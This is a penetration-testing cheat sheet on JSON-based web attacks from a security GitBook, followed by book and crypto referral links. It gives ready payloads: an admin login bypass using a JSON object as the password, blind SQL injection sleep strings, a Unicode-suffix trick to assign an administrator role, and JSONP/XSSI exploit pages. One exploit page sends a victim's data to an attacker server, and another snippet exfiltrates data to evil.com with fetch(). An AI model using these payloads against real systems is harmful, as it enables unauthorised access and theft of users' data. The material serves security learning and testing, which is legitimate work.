> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/json-attack.md).

# JSON Attack

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% content-ref url="/pages/2nQo9jQkGanSbcZGflSg" %}
[REST API](/0xss0rz/pentest/api/rest-api.md)
{% endcontent-ref %}

## Bypass Admin Login

```
POST /api/login HTTP/1.1
Host: vuln-web.io
[...]

{"username":"admin","password":{"password": 1}}
```

## Blind SQL Injection

```
[-1+or+1%3d((SELET+1+FROM+(SELECT+SLEEP(5))A))]
{AnD SLEEP(5)}
{1 AnD SLEEP(5)}
{1' AnD SLEEP(5)--}
{sleep 5}
"emails":["AnD SLEEP(5)"]
"emails":["test@test.com OR SLEEP(5)#"]
{"options":{"id":[],"emails":["AnD SLEEP(5)"],
```

## Add Parameter

<figure><img src="/files/6rTG02tMmgiPVyBEk5IG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/POZiitmL5qPObM7jwqXN" alt=""><figcaption></figcaption></figure>

{% embed url="<https://medium.com/@0xbugatti/easy-admin-access-by-gaming-with-json-5ec5313e2236>" %}

## JSON Injection

```json
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator"
}

HTTP/1.1 401 Not Authorized
...
Content-Type: application/json

{"Error": "Assignment of internal role 'administrator' is forbidden"}
```

Add `\ud888`

```json
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
   "user": "dana", 
   "role": "administrator\ud888"
}

HTTP/1.1 200 OK
...
Content-Type: application/json

{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
```

{% embed url="<https://danaepp.com/attacking-apis-using-json-injection>" %}

## JSON Padding, JSONP

{% embed url="<https://infosecwriteups.com/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24>" %}

### Detection

* Add a callback parameter to a JSON URL, by appending `?callback=something` to the URL.
* When a format type is provided, change it to JSONP. Change `?format=json` to `?format=jsonp`.

### Exploit

Json file

<figure><img src="/files/Y3ls3SgM1bgXpjmFEPBn" alt=""><figcaption></figcaption></figure>

Add a query parameter of callback like this

```
https://user.redact.com/payment/wallet/balance?callback=call_me
```

If the endpoint has **JSONP** enabled it will create an object with the name of **call\_me** and all the data will be inside that object like this.

<figure><img src="/files/HVZ1l4MWGZl5jAPIydVn" alt=""><figcaption></figcaption></figure>

Exploitation: create a **.html file** which will extract the data and store it on your desired server. You just have to send the URL to the victim&#x20;

```
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="referrer" content="no-referrer">
    <title>Test JSON Padding Attack</title>
</head>
<body>

<script>
function call_me(response) {
    var http = new XMLHttpRequest();
    var url = 'https://yourserver.com/store.php';
    var params = 'data=' + encodeURIComponent(JSON.stringify(response));

    http.open('POST', url, true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {
        if (http.readyState == 4 && http.status == 200) {
            console.log(http.responseText);
        }
    }
    http.send(params);
}
</script>

<script src="https://user.redact.com/api/user/profile?callback=call_me"></script>

</body>
</html>

```

### XSSI an JSONP

{% embed url="<https://www.scip.ch/en/?labs.20160414=>" %}

{% embed url="<https://infosecwriteups.com/effortlessly-finding-cross-site-script-inclusion-xssi-jsonp-for-bug-bounty-38ae0b9e5c8a>" %}

On your own server

```
<html>
  <head>
    <title>Regular XSSI</title>
    <script src="https://www.vulnerable-domain.tld/script.js"></script>
  </head>
  <body>
    <script>
      alert(JSON.stringify(keys[0]));
    </script>
  </body>
</html>
```

Exfiltration

```
<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>
```

## JSON Globbing

{% content-ref url="/pages/IOD663Ce41jBvBI2oynu" %}
[IDOR](/0xss0rz/pentest/api/idor.md)
{% endcontent-ref %}

## Node.js

{% content-ref url="/pages/oHCIda536LV9ajRnQ90V" %}
[Node.js](/0xss0rz/pentest/public-exploit/node.js.md)
{% endcontent-ref %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
